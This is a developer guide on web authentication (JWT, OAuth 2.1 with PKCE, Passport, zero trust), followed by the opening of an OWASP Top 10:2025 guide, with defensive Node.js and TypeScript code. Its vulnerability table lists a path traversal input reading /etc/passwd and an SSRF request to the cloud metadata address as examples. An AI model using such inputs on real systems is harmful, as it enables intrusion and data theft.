### Clark-Wilson Model (Commercial Integrity)

**Design rationale**: Developed in 1987 for commercial environments where integrity is paramount but formal clearance levels don't exist. Focuses on well-formed transactions and separation of duties.

**Core concepts**:

- **Constrained Data Items (CDIs)**: Data that must maintain integrity
- **Transformation Procedures (TPs)**: The only way to modify CDIs
- **Integrity Verification Procedures (IVPs)**: Validate CDI integrity
- **Separation of Duties**: No single user can certify and execute a TP

**Example**: In an accounting system, a journal entry (CDI) can only be created by the "create entry" procedure (TP), which requires different users for creation and approval (separation of duties).

---

## Modern Authentication Protocols

### JSON Web Tokens (JWT)

JWT provides a compact, URL-safe means of representing claims between parties.

**Design rationale**: JWTs emerged from the need to pass authenticated state between services without shared session storage. The token is self-contained—all claims are inside—and cryptographically signed to prevent tampering ([RFC 7519](https://datatracker.ietf.org/doc/html/rfc7519)).

**Critical limitation**: JWTs cannot be revoked after issuance without additional infrastructure. If an access token is stolen, it remains valid until expiration.

#### Token Lifetime Recommendations (2025)

| Token Type                       | Lifetime  | Rationale                                       |
| -------------------------------- | --------- | ----------------------------------------------- |
| **Access token (high security)** | 5-15 min  | Minimize exposure window for stolen tokens      |
| **Access token (general)**       | 15-30 min | Balance security with UX (fewer refresh cycles) |
| **Refresh token**                | 1-7 days  | User experience; rotate on each use             |
| **ID token (OIDC)**              | 1 hour    | Per OIDC spec; used only at authentication time |

#### Algorithm Selection

| Algorithm | Type               | Recommendation                                          |
| --------- | ------------------ | ------------------------------------------------------- |
| **EdDSA** | Asymmetric         | First choice for new systems (62x faster than RSA-2048) |
| **ES256** | Asymmetric (ECDSA) | Good balance; widely supported                          |
| **RS256** | Asymmetric (RSA)   | Legacy compatibility; larger keys                       |
| **HS256** | Symmetric          | Avoid in distributed systems (shared secret)            |

**Security rule**: Always verify the `alg` header against an allowlist. The infamous `alg: none` attack exploits servers that accept any algorithm.

```javascript title="jwt-manager.js" collapse={1-3, 15-51, 68-88, 92-130}
const jwt = require("jsonwebtoken")
const crypto = require("crypto")

class JWTManager {
  constructor(options = {}) {
    this.accessTokenSecret = options.accessTokenSecret || process.env.JWT_ACCESS_SECRET
    this.refreshTokenSecret = options.refreshTokenSecret || process.env.JWT_REFRESH_SECRET
    this.accessTokenExpiry = options.accessTokenExpiry || "15m" // Short-lived
    this.refreshTokenExpiry = options.refreshTokenExpiry || "7d"
    this.issuer = options.issuer || "your-service"
    this.audience = options.audience || "your-app"
  }

  // Token generation with jti for revocation tracking
  generateTokenPair(payload) {
    const jti = crypto.randomUUID()
    const now = Math.floor(Date.now() / 1000)

    const accessToken = jwt.sign(
      {
        ...payload,
        type: "access",
        jti,
        iat: now,
        iss: this.issuer,
        aud: this.audience,
      },
      this.accessTokenSecret,
      {
        expiresIn: this.accessTokenExpiry,
        algorithm: "HS256",
      },
    )

    const refreshToken = jwt.sign(
      {
        userId: payload.userId,
        type: "refresh",
        jti,
        iat: now,
        iss: this.issuer,
        aud: this.audience,
      },
      this.refreshTokenSecret,
      {
        expiresIn: this.refreshTokenExpiry,
        algorithm: "HS256",
      },
    )

    return { accessToken, refreshToken, jti }
  }

  verifyAccessToken(token) {
    try {
      const decoded = jwt.verify(token, this.accessTokenSecret, {
        issuer: this.issuer,
        audience: this.audience,
        algorithms: ["HS256"], // Explicitly allowlist algorithm
      })

      if (decoded.type !== "access") {
        throw new Error("Invalid token type")
      }

      return decoded
    } catch (error) {
      throw new Error("Invalid access token")
    }
  }

  middleware() {
    return (req, res, next) => {
      const authHeader = req.headers.authorization

      if (!authHeader || !authHeader.startsWith("Bearer ")) {
        return res.status(401).json({ error: "No token provided" })
      }

      const token = authHeader.substring(7)

      try {
        const decoded = this.verifyAccessToken(token)
        req.user = decoded
        next()
      } catch (error) {
        return res.status(401).json({ error: "Invalid token" })
      }
    }
  }
}

// Refresh token rotation - issue new refresh token on each use
const jwtManager = new JWTManager()

app.post("/auth/refresh", async (req, res) => {
  const { refreshToken } = req.body

  if (!refreshToken) {
    return res.status(401).json({ error: "Refresh token required" })
  }

  try {
    const decoded = jwtManager.verifyRefreshToken(refreshToken)

    // Check revocation - detect token reuse attacks
    const isRevoked = await checkTokenRevocation(decoded.jti)
    if (isRevoked) {
      return res.status(401).json({ error: "Token revoked" })
    }

    const user = await User.findById(decoded.userId)
    if (!user) {
      return res.status(401).json({ error: "User not found" })
    }

    const { accessToken, refreshToken: newRefreshToken } = jwtManager.generateTokenPair({
      userId: user._id,
      email: user.email,
      role: user.role,
    })

    // Revoke old refresh token - rotation prevents reuse
    await revokeToken(decoded.jti)

    res.json({
      accessToken,
      refreshToken: newRefreshToken,
    })
  } catch (error) {
    res.status(401).json({ error: "Invalid refresh token" })
  }
})
```

### OAuth 2.0 and OAuth 2.1

OAuth 2.0 provides an authorization framework enabling third-party applications to obtain limited access to user accounts without exposing credentials.

> **OAuth 2.1 (IETF Draft 14, as of October 2025)** consolidates OAuth 2.0 and its security extensions (PKCE, removal of implicit flow). While not yet finalized, its requirements are widely adopted.

**Key OAuth 2.1 changes from OAuth 2.0**:

| Change                                   | Rationale                                                                |
| ---------------------------------------- | ------------------------------------------------------------------------ |
| **Implicit flow removed**                | Tokens in URL fragments are exposed in browser history, referrer headers |
| **Resource owner password flow removed** | Users should never share passwords with third-party apps                 |
| **PKCE required for all clients**        | Prevents authorization code interception, even for confidential clients  |
| **Strict redirect URI matching**         | Prevents open redirect attacks                                           |
| **Refresh token rotation recommended**   | Detects token theft                                                      |

```javascript title="oauth2-provider.js" collapse={1-4, 17-18, 63-78}
const express = require("express")
const crypto = require("crypto")
const axios = require("axios")

class OAuth2Provider {
  constructor(options) {
    this.clientId = options.clientId
    this.clientSecret = options.clientSecret
    this.redirectUri = options.redirectUri
    this.authorizationEndpoint = options.authorizationEndpoint
    this.tokenEndpoint = options.tokenEndpoint
    this.userInfoEndpoint = options.userInfoEndpoint
    this.scope = options.scope || "openid profile email"
  }

  // Generate auth URL with PKCE and CSRF protection
  generateAuthorizationUrl() {
    const state = crypto.randomBytes(16).toString("hex")
    const nonce = crypto.randomBytes(16).toString("hex")

    // PKCE: Generate code verifier and challenge
    const codeVerifier = crypto.randomBytes(32).toString("base64url")
    const codeChallenge = crypto.createHash("sha256").update(codeVerifier).digest("base64url")

    const params = new URLSearchParams({
      response_type: "code",
      client_id: this.clientId,
      redirect_uri: this.redirectUri,
      scope: this.scope,
      state, // CSRF protection
      nonce, // Replay protection (OIDC)
      code_challenge: codeChallenge,
      code_challenge_method: "S256",
    })

    return {
      url: `${this.authorizationEndpoint}?${params}`,
      state,
      nonce,
      codeVerifier, // Store server-side for token exchange
    }
  }

  async exchangeCodeForTokens(code, state, savedState, codeVerifier) {
    // Verify state to prevent CSRF
    if (state !== savedState) {
      throw new Error("Invalid state parameter")
    }

    try {
      const response = await axios.post(
        this.tokenEndpoint,
        new URLSearchParams({
          grant_type: "authorization_code",
          client_id: this.clientId,
          client_secret: this.clientSecret,
          code,
          redirect_uri: this.redirectUri,
          code_verifier: codeVerifier, // PKCE
        }),
        {
          headers: {
            "Content-Type": "application/x-www-form-urlencoded",
          },
        },
      )

      return response.data
    } catch (error) {
      throw new Error("Token exchange failed")
    }
  }
}

// Express routes for OAuth flow
const oauth2 = new OAuth2Provider({
  clientId: process.env.OAUTH_CLIENT_ID,
  clientSecret: process.env.OAUTH_CLIENT_SECRET,
  redirectUri: process.env.OAUTH_REDIRECT_URI,
  authorizationEndpoint: "https://accounts.google.com/o/oauth2/v2/auth",
  tokenEndpoint: "https://oauth2.googleapis.com/token",
  userInfoEndpoint: "https://www.googleapis.com/oauth2/v2/userinfo",
})

app.get("/auth/oauth/login", (req, res) => {
  const { url, state, nonce, codeVerifier } = oauth2.generateAuthorizationUrl()
  req.session.oauthState = state
  req.session.oauthNonce = nonce
  req.session.codeVerifier = codeVerifier // Store for PKCE
  res.redirect(url)
})
```

---

## Implementation Patterns with Node.js

### Comprehensive Authentication Middleware

Passport.js supports multiple authentication strategies. The JWT strategy validates tokens on each request, while the Local strategy handles username/password login.

```javascript title="auth-manager.js" collapse={1-5, 16-42, 68-76}
const passport = require("passport")
const LocalStrategy = require("passport-local").Strategy
const JwtStrategy = require("passport-jwt").Strategy
const ExtractJwt = require("passport-jwt").ExtractJwt

class AuthenticationManager {
  constructor(options = {}) {
    this.jwtManager = options.jwtManager
    this.rbacManager = options.rbacManager
    this.setupStrategies()
  }

  setupStrategies() {
    // Local Strategy - username/password authentication
    passport.use(
      new LocalStrategy(
        {
          usernameField: "email",
          passwordField: "password",
        },
        async (email, password, done) => {
          try {
            const user = await User.findOne({ email }).select("+password")
            if (!user) {
              return done(null, false, { message: "Invalid credentials" })
            }

            const isValid = await user.comparePassword(password)
            if (!isValid) {
              return done(null, false, { message: "Invalid credentials" })
            }

            return done(null, user)
          } catch (error) {
            return done(error)
          }
        },
      ),
    )

    // JWT Strategy - token-based authentication
    passport.use(
      new JwtStrategy(
        {
          jwtFromRequest: ExtractJwt.fromExtractors([
            ExtractJwt.fromAuthHeaderAsBearerToken(),
            ExtractJwt.fromBodyField("token"),
            this.extractFromCookie,
          ]),
          secretOrKey: process.env.JWT_ACCESS_SECRET,
          issuer: "your-service",
          audience: "your-app",
          algorithms: ["HS256"], // Explicitly allowlist
        },
        async (payload, done) => {
          try {
            const user = await User.findById(payload.userId)
            if (user) {
              return done(null, user)
            }
            return done(null, false)
          } catch (error) {
            return done(error, false)
          }
        },
      ),
    )
  }

  extractFromCookie(req) {
    return req.cookies?.accessToken || null
  }

  requireAuth(strategy = "jwt") {
    return passport.authenticate(strategy, { session: false })
  }

  requirePermission(permission) {
    return [
      this.requireAuth(),
      (req, res, next) => {
        if (this.rbacManager.hasPermission(req.user.id, permission)) {
          next()
        } else {
          res.status(403).json({ error: "Insufficient permissions" })
        }
      },
    ]
  }
}
```

### API Security Middleware Stack

Defense in depth requires multiple security layers. Helmet sets security headers, CORS restricts cross-origin requests, and input sanitization prevents injection attacks.

```javascript title="security-middleware.js" collapse={1-4, 43-77}
const helmet = require("helmet")
const cors = require("cors")
const compression = require("compression")

class SecurityMiddleware {
  static getStack(options = {}) {
    return [
      // Security headers via Helmet
      helmet({
        contentSecurityPolicy: {
          directives: {
            defaultSrc: ["'self'"],
            styleSrc: ["'self'", "'unsafe-inline'"],
            scriptSrc: ["'self'"],
            imgSrc: ["'self'", "data:", "https:"],
          },
        },
        hsts: {
          maxAge: 31536000, // 1 year
          includeSubDomains: true,
          preload: true,
        },
      }),

      // CORS - restrict allowed origins
      cors({
        origin: options.allowedOrigins || ["http://localhost:3000"],
        credentials: true,
        optionsSuccessStatus: 200,
      }),

      compression(),

      // Request size limits - prevent DoS
      express.json({ limit: options.jsonLimit || "10mb" }),
      express.urlencoded({
        extended: false,
        limit: options.urlEncodedLimit || "10mb",
      }),

      this.xssProtection(),
    ]
  }

  static xssProtection() {
    return (req, res, next) => {
      const xss = require("xss")

      if (req.body && typeof req.body === "object") {
        req.body = this.sanitizeObject(req.body, xss)
      }

      if (req.query && typeof req.query === "object") {
        req.query = this.sanitizeObject(req.query, xss)
      }

      next()
    }
  }

  static sanitizeObject(obj, xss) {
    const sanitized = {}
    for (const [key, value] of Object.entries(obj)) {
      if (typeof value === "string") {
        sanitized[key] = xss(value)
      } else if (typeof value === "object" && value !== null) {
        sanitized[key] = this.sanitizeObject(value, xss)
      } else {
        sanitized[key] = value
      }
    }
    return sanitized
  }
}
```

---

## Security Best Practices

### Password Security

1. **Use Memory-Hard Hashing**: Argon2id (primary) or bcrypt (legacy) with appropriate cost factors
2. **Enforce Reasonable Password Policies**: Minimum 12 characters; check against breach databases (Have I Been Pwned API); avoid composition rules (uppercase/symbols) which reduce entropy through predictable patterns
3. **Rate Limiting**: Exponential backoff on failed attempts; temporary lockout (5-30 min) after 5-10 failures
4. **Secure Recovery**: Time-limited tokens; don't reveal whether email exists

### Token Security

1. **Short-lived Access Tokens**: 5-30 minutes depending on sensitivity
2. **Refresh Token Rotation**: Issue new refresh token on each use; detect reuse attacks
3. **Secure Storage**: HttpOnly cookies for web; Keychain (iOS) / Keystore (Android) for mobile; never localStorage
4. **Algorithm Allowlist**: Verify `alg` header; reject `none`; prefer asymmetric (EdDSA, ES256) for distributed systems

### Transport Security

1. **TLS Everywhere**: Minimum TLS 1.2; prefer TLS 1.3 for 1-RTT handshakes
2. **HSTS**: `Strict-Transport-Security: max-age=31536000; includeSubDomains; preload`
3. **Certificate Pinning**: For mobile apps accessing known backends
4. **Perfect Forward Secrecy**: ECDHE cipher suites

### Input Validation and Sanitization

Schema validation at the API boundary prevents malformed data from reaching business logic.

```javascript title="validation-middleware.js" collapse={1-2, 27-47}
const joi = require("joi")

class ValidationMiddleware {
  static validate(schema, property = "body") {
    return (req, res, next) => {
      const { error, value } = schema.validate(req[property])

      if (error) {
        const details = error.details.map((detail) => ({
          field: detail.path.join("."),
          message: detail.message,
        }))

        return res.status(400).json({
          error: "Validation failed",
          details,
        })
      }

      req[property] = value
      next()
    }
  }
}

// Schema definitions
const schemas = {
  login: joi.object({
    email: joi.string().email().required(),
    password: joi.string().min(8).required(),
    rememberMe: joi.boolean().optional(),
  }),

  register: joi.object({
    email: joi.string().email().required(),
    password: joi
      .string()
      .min(12) // NIST recommends 8+; 12+ for sensitive systems
      .required(),
    confirmPassword: joi.ref("password"),
    name: joi.string().min(2).max(50).required(),
  }),
}

// Apply validation
app.post("/auth/login", ValidationMiddleware.validate(schemas.login), authController.login)
```

---

## Emerging Paradigms and Zero Trust

### Zero Trust Architecture Principles

Zero Trust emerged from the recognition that perimeter-based security fails when attackers breach the network boundary—or when the boundary doesn't exist (remote work, cloud). The core principle: **never trust, always verify** ([NIST SP 800-207](https://csrc.nist.gov/publications/detail/sp/800-207/final)).

1. **Verify Explicitly**: Authenticate and authorize every request using all available signals (identity, device, location, behavior)
2. **Least Privilege Access**: Minimum required permissions; just-in-time access
3. **Assume Breach**: Design for compromise; limit blast radius; log everything
4. **Continuous Verification**: Don't trust based on previous authentication alone

### Zero Trust Implementation

```javascript title="zero-trust-gateway.js" collapse={1-7, 44-73}
class ZeroTrustGateway {
  constructor(options = {}) {
    this.riskEngine = options.riskEngine
    this.policyEngine = options.policyEngine
    this.contextAnalyzer = options.contextAnalyzer
  }

  async evaluateRequest(req, res, next) {
    try {
      const context = await this.contextAnalyzer.analyze(req)
      const riskScore = await this.riskEngine.calculate(context)
      const policyDecision = await this.policyEngine.evaluate(context, riskScore)

      switch (policyDecision.action) {
        case "allow":
          req.zeroTrust = { riskScore, context }
          next()
          break

        case "challenge":
          // Step-up authentication required
          this.requireAdditionalAuth(req, res, policyDecision)
          break

        case "deny":
          res.status(403).json({
            error: "Access denied",
            reason: policyDecision.reason,
          })
          break

        default:
          res.status(500).json({ error: "Policy evaluation failed" })
      }
    } catch (error) {
      console.error("Zero Trust evaluation error:", error)
      res.status(500).json({ error: "Security evaluation failed" })
    }
  }
}

// Risk scoring based on multiple signals
class RiskEngine {
  async calculate(context) {
    let riskScore = 0

    // Location anomaly
    if (context.geolocation?.isUnusualLocation) {
      riskScore += 30
    }

    // Unrecognized device
    if (!context.device?.isRecognized) {
      riskScore += 25
    }

    // Behavioral anomaly (unusual access patterns)
    if (context.behavior?.isAnomalous) {
      riskScore += 35
    }

    // Network risk (TOR, VPN, known bad IP)
    if (context.network?.isSuspicious) {
      riskScore += 40
    }

    return Math.min(riskScore, 100)
  }
}
```

---

## Conclusion

### Key Takeaways

1. **Session vs Token is an architectural decision**: Sessions for immediate revocation and single-domain; tokens for stateless scalability and cross-domain
2. **Defense in Depth**: Layer multiple mechanisms—MFA, short token lifetimes, refresh rotation, anomaly detection
3. **Phishing-resistant auth**: WebAuthn/passkeys are origin-bound; passwords are inherently phishable
4. **RBAC vs ABAC**: Start with RBAC; migrate to ABAC when role explosion occurs or dynamic policies are needed
5. **Zero Trust**: Continuous verification; assume breach; minimize blast radius

### Implementation Priorities

1. **Foundation**: Argon2id/bcrypt (12+ rounds), HTTPS everywhere, proper session/token management
2. **MFA**: Require for privileged accounts; prefer phishing-resistant methods (WebAuthn)
3. **Protocols**: OAuth 2.1 patterns (PKCE always); OIDC for identity
4. **Token Security**: Short access tokens (5-15 min), refresh rotation, HttpOnly cookies
5. **Audit**: Log all auth events; detect anomalies; regular security assessments

## Appendix

### Prerequisites

- HTTP fundamentals (cookies, headers, CORS)
- Cryptographic basics (symmetric vs asymmetric encryption, hashing)
- Node.js/Express middleware patterns

### Terminology

| Term         | Definition                                                                                                     |
| ------------ | -------------------------------------------------------------------------------------------------------------- |
| **AAA**      | Authentication, Authorization, Accounting—security framework triad                                             |
| **ABAC**     | Attribute-Based Access Control—dynamic authorization using subject/resource/environment attributes             |
| **JWT**      | JSON Web Token—self-contained, signed token format ([RFC 7519](https://datatracker.ietf.org/doc/html/rfc7519)) |
| **MFA**      | Multi-Factor Authentication—requiring 2+ authentication factors                                                |
| **OIDC**     | OpenID Connect—identity layer built on OAuth 2.0                                                               |
| **PKCE**     | Proof Key for Code Exchange—OAuth extension preventing authorization code interception                         |
| **RBAC**     | Role-Based Access Control—permissions assigned to roles, not users                                             |
| **TOTP**     | Time-based One-Time Password—algorithm generating codes from shared secret + time                              |
| **WebAuthn** | Web Authentication API—W3C standard for passwordless authentication using public key cryptography              |

### Summary

- Sessions store state server-side (immediate revocation, scaling requires shared store); tokens are self-contained (stateless, revocation requires infrastructure)
- Argon2id is the current OWASP recommendation for password hashing; bcrypt remains acceptable for existing systems
- WebAuthn/passkeys are phishing-resistant due to origin binding; passkey sync varies by provider ecosystem
- RBAC maps permissions to roles; ABAC evaluates policies against dynamic attributes
- OAuth 2.1 requires PKCE for all clients and removes implicit/password flows
- JWT access tokens should be short-lived (5-30 min); refresh tokens should rotate on each use
- Zero Trust assumes breach and verifies every request using multiple signals

### References

**Specifications:**

- [RFC 6238: TOTP](https://datatracker.ietf.org/doc/html/rfc6238) - Time-Based One-Time Password Algorithm
- [RFC 6749: OAuth 2.0](https://datatracker.ietf.org/doc/html/rfc6749) - Authorization Framework
- [RFC 7519: JWT](https://datatracker.ietf.org/doc/html/rfc7519) - JSON Web Token specification
- [RFC 7636: PKCE](https://datatracker.ietf.org/doc/html/rfc7636) - Proof Key for Code Exchange
- [OAuth 2.1 Draft](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-14) - IETF Draft 14 (October 2025)
- [OpenID Connect Core 1.0](https://openid.net/specs/openid-connect-core-1_0.html) - Identity layer on OAuth 2.0
- [WebAuthn Level 3](https://www.w3.org/TR/webauthn-3/) - W3C Web Authentication API (Candidate Recommendation, January 2026)

**NIST Publications:**

- [NIST SP 800-63-3: Digital Identity Guidelines](https://pages.nist.gov/800-63-3/) - Authentication assurance levels
- [NIST SP 800-162: ABAC Guide](https://csrc.nist.gov/publications/detail/sp/800-162/final) - Attribute-Based Access Control
- [NIST SP 800-207: Zero Trust Architecture](https://csrc.nist.gov/publications/detail/sp/800-207/final) - Zero Trust framework
- [NIST RBAC Model](https://csrc.nist.gov/projects/role-based-access-control) - Role-Based Access Control

**OWASP Guidelines:**

- [OWASP Password Storage Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html) - Hashing recommendations
- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) - Security best practices
- [OWASP Authorization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html) - Access control guidelines

**Implementation Resources:**

- [Google Passkeys Documentation](https://developers.google.com/identity/passkeys) - Cross-platform passkey implementation
- [Auth0 Token Best Practices](https://auth0.com/docs/secure/tokens/token-best-practices) - JWT implementation guidance

---

## OWASP Top 10: Web Application Security Risks

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/web-foundations/web-security-auth/owasp-top-10-guide
**Category:** Web Foundations / Security & Auth
**Description:** The OWASP Top 10 is a ranked list of the most critical web application security risks, derived from real-world vulnerability data. The 2025 edition analyzed 2.8 million applications with 589 CWE (Common Weakness Enumeration) mappings across 248 categories, making it the definitive baseline for application security priorities.

# OWASP Top 10: Web Application Security Risks

The OWASP Top 10 is a ranked list of the most critical web application security risks, derived from real-world vulnerability data. The 2025 edition analyzed 2.8 million applications with 589 CWE (Common Weakness Enumeration) mappings across 248 categories, making it the definitive baseline for application security priorities.

<figure>

![Defense-in-depth model mapped to OWASP Top 10:2025 vulnerability categories](./defense-in-depth-model-mapped-to-owasp-top-10-2025-vulnerability-categories.svg)

<figcaption>Defense-in-depth model mapped to OWASP Top 10:2025 vulnerability categories</figcaption>

</figure>

## Abstract

The OWASP Top 10 represents a data-driven consensus on application security priorities. The 2025 edition introduced two new categories (Software Supply Chain Failures, Mishandling of Exceptional Conditions), consolidated SSRF (Server-Side Request Forgery) into Broken Access Control, and elevated Security Misconfiguration to #2 based on 100% incidence rates.

**Core mental model:**

| Category | Root Cause                         | Primary Control                              |
| -------- | ---------------------------------- | -------------------------------------------- |
| A01-A02  | Missing enforcement/configuration  | Deny-by-default, secure defaults             |
| A03-A04  | Untrusted sources, weak crypto     | Supply chain verification, modern algorithms |
| A05-A06  | Untrusted input, design flaws      | Parameterized queries, threat modeling       |
| A07-A08  | Identity/integrity assumptions     | MFA, signed artifacts                        |
| A09-A10  | Insufficient visibility/resilience | Centralized logging, fail-closed             |

**Key shift in 2025:** Security Misconfiguration rose from #5 to #2, reflecting that 100% of tested applications had some form of misconfiguration. Supply chain attacks (SolarWinds, Log4Shell, npm worms) drove the addition of a dedicated category.

> **Version history:** The 2021 edition introduced root-cause categorization (e.g., "Cryptographic Failures" instead of "Sensitive Data Exposure"). The 2025 edition expanded scope from ~400 to 589 CWEs and added community-driven categories for emerging threats.

## A01: Broken Access Control

Broken Access Control maintains #1 with 100% of applications tested showing some vulnerability. With 40 mapped CWEs, 1.8M+ occurrences, and 32,654 CVEs, it's the most prevalent risk. SSRF was consolidated into this category since it fundamentally bypasses access boundaries.

### Why It's #1

Access control enforces policy so users cannot act outside their intended permissions. API-first architectures expanded attack surface—every endpoint is a potential authorization decision point. The consolidation of SSRF acknowledges that forging requests to internal resources is an access control bypass.

### Vulnerability Patterns

| Pattern                                 | Example                                   | CWE     |
| --------------------------------------- | ----------------------------------------- | ------- |
| Privilege escalation                    | Regular user accesses admin endpoints     | CWE-269 |
| IDOR (Insecure Direct Object Reference) | `/api/users/123` → `/api/users/456`       | CWE-639 |
| Missing function-level controls         | POST/PUT/DELETE endpoints lack authz      | CWE-285 |
| CORS misconfiguration                   | Wildcard origin with credentials          | CWE-942 |
| SSRF (now consolidated here)            | `http://169.254.169.254/` metadata access | CWE-918 |
| Path traversal                          | `../../../etc/passwd`                     | CWE-22  |

### Prevention

```ts title="access-control.ts" collapse={1-4, 18-25}
import { Request, Response, NextFunction } from "express"
import { verify } from "jsonwebtoken"
import { hasPermission } from "./rbac"

// Middleware: deny-by-default, explicit allow
export function authorize(resource: string, action: string) {
  return async (req: Request, res: Response, next: NextFunction) => {
    const token = req.headers.authorization?.split(" ")[1]
    if (!token) return res.status(401).json({ error: "No token" })

    const payload = verify(token, process.env.JWT_SECRET!)
    const allowed = await hasPermission(payload.sub, resource, action)

    if (!allowed) return res.status(403).json({ error: "Forbidden" })
    next()
  }
}

// Route: explicit authorization on every endpoint
app.get("/api/users/:id", authorize("users", "read"), getUser)
app.put("/api/users/:id", authorize("users", "update"), updateUser)
app.delete("/api/users/:id", authorize("users", "delete"), deleteUser)
```

**Critical controls:**

1. **Deny by default**—require explicit grants for every resource
2. **Server-side enforcement**—never trust client-side state
3. **Record ownership validation**—verify the requesting user owns the resource
4. **Centralized access control**—one module, consistent enforcement
5. **SSRF prevention**—allowlist outbound destinations, validate resolved IPs
6. **Rate limiting**—slow automated attacks

### SSRF-Specific Prevention

```ts title="ssrf-prevention.ts" collapse={1-5, 20-25}
import { URL } from "url"
import dns from "dns/promises"
import ipaddr from "ipaddr.js"

const ALLOWED_HOSTS = ["api.example.com", "cdn.example.com"]

async function fetchSafely(userUrl: string): Promise<Response> {
  const url = new URL(userUrl)

  // Protocol allowlist (no file://, gopher://, etc.)
  if (!["https:"].includes(url.protocol)) {
    throw new Error("Only HTTPS allowed")
  }

  // DNS rebinding protection: resolve and check before fetch
  const addresses = await dns.resolve4(url.hostname)
  for (const addr of addresses) {
    const parsed = ipaddr.parse(addr)
    if (parsed.range() !== "unicast") {
      throw new Error("Private IP not allowed")
    }
  }

  return fetch(url.toString(), { redirect: "error" })
}
```

**Network controls:** Disable cloud metadata endpoints (IMDSv2 or block `169.254.169.254`), segment internal services from web tier.

## A02: Security Misconfiguration

Security Misconfiguration rose from #5 (2021) to #2 (2025), with 100% of tested applications showing some misconfiguration. The 27.70% max incidence rate and 16 mapped CWEs reflect that secure defaults are rare, and every stack layer can be misconfigured.

### Why It Rose

Cloud infrastructure complexity multiplied configuration surfaces. XXE (XML External Entities) remains consolidated here—it's fundamentally a parser misconfiguration. The shift to infrastructure-as-code made misconfigurations reproducible at scale.

### Common Misconfigurations

| Layer     | Misconfiguration            | Impact                |
| --------- | --------------------------- | --------------------- |
| Cloud     | S3 bucket public by default | Data breach           |
| Container | Root user in Docker         | Container escape      |
| Framework | Debug mode in production    | Stack traces leak     |
| Server    | Directory listing enabled   | Source exposure       |
| Headers   | Missing security headers    | XSS, clickjacking     |
| Defaults  | Unchanged admin credentials | Full compromise       |
| Parser    | XXE enabled in XML parser   | File disclosure, SSRF |

### Security Headers

```http
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}';
```

### Configuration Hardening

```ts title="xml-parser.ts" collapse={1-2}
import { XMLParser } from "fast-xml-parser"

// SAFE: external entities disabled (default in modern parsers)
const parser = new XMLParser({
  ignoreAttributes: false,
  // These enable XXE - never enable without explicit need:
  // processEntities: true,
  // allowBooleanAttributes: true,
})
```

**Hardening workflow:**

1. **Minimal installation**—remove sample apps, documentation, unused features
2. **Identical environments**—dev/staging/prod differ only in secrets
3. **Automated verification**—config checks in CI/CD pipeline
4. **Short-lived credentials**—identity federation, not hardcoded secrets
5. **Regular audits**—quarterly review of cloud IAM, firewall rules

## A03: Software Supply Chain Failures

New in 2025, Software Supply Chain Failures expanded from "Vulnerable and Outdated Components" to address the entire software supply chain. It ranked #1 in community surveys (50% of respondents), with a 5.72% average incidence rate—the highest of any category.

### Why It Was Added

SolarWinds (18,000+ organizations compromised), Log4Shell (CVE-2021-44228 affecting millions of systems), and Shai-Hulud (2025's first self-propagating npm worm harvesting tokens and auto-propagating to 500+ package versions) demonstrated that supply chain attacks scale catastrophically. Your application is only as secure as its least secure dependency.

### Supply Chain Risk Vectors

| Risk                    | Example                      | Control                        |
| ----------------------- | ---------------------------- | ------------------------------ |
| Known vulnerabilities   | Log4Shell (CVE-2021-44228)   | Dependency scanning            |
| Typosquatting           | `lodahs` instead of `lodash` | Package verification           |
| Maintainer compromise   | event-stream incident (2018) | Audit upstream changes         |
| Build system compromise | SolarWinds Orion             | Signed builds, reproducibility |
| Malicious packages      | npm worms harvesting tokens  | Private registry, allowlisting |

### Dependency Management

```json title="package.json" collapse={1-5, 15-20}
{
  "name": "secure-app",
  "version": "1.0.0",
  "scripts": {
    "audit": "npm audit --production",
    "audit:fix": "npm audit fix",
    "sbom": "npx @cyclonedx/cyclonedx-npm --output-file sbom.json"
  },
  "dependencies": {
    "express": "^4.18.2"
  },
  "overrides": {
    "lodash": "4.17.21"
  }
}
```

**Supply chain hygiene:**

1. **SBOM (Software Bill of Materials)**—generate with CycloneDX or SPDX
2. **Automated scanning**—OWASP Dependency-Check, Snyk, npm audit in CI
3. **Version pinning**—lock files, avoid floating versions in production
4. **Private registry**—proxy public packages, scan before allowing
5. **SRI (Subresource Integrity)**—hash verification for CDN scripts
6. **Staged rollouts**—canary deployments, not simultaneous updates

### SRI Example

```html
<script
  src="https://cdn.example.com/lib.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"
></script>
```

If the CDN script changes, the browser refuses execution.

## A04: Cryptographic Failures

Cryptographic Failures moved from #2 (2021) to #4 (2025), with 32 mapped CWEs and 1.6M+ occurrences. The category focuses on root causes—broken algorithms, weak keys, insufficient entropy—rather than the symptom of data exposure.

### Vulnerability Patterns

| Pattern                          | Weakness                      | Impact                |
| -------------------------------- | ----------------------------- | --------------------- |
| Cleartext transmission           | No TLS, HTTP fallback         | MITM credential theft |
| Weak algorithms                  | MD5/SHA1 for passwords, DES   | Offline cracking      |
| Insufficient entropy             | Predictable tokens, weak PRNG | Session hijacking     |
| Hardcoded secrets                | API keys in source            | Credential compromise |
| Missing authenticated encryption | AES-CBC without HMAC          | Padding oracle        |

### Password Storage

```ts title="password.ts" collapse={1-3}
import { hash, verify } from "argon2"

// Argon2id: OWASP-recommended for password hashing
const PASSWORD_OPTIONS = {
  type: 2, // argon2id (hybrid: side-channel + time-memory tradeoff resistant)
  memoryCost: 65536, // 64MB
  timeCost: 3,
  parallelism: 4,
}

export async function hashPassword(password: string): Promise<string> {
  return hash(password, PASSWORD_OPTIONS)
}

export async function verifyPassword(password: string, stored: string): Promise<boolean> {
  return verify(stored, password)
}
```

**Why Argon2id:** Memory-hard functions resist GPU/ASIC cracking. Argon2id combines side-channel resistance (Argon2i) with time-memory tradeoff resistance (Argon2d). NIST recommends preparation for post-quantum cryptography by 2030 for high-value systems.

### Data Classification

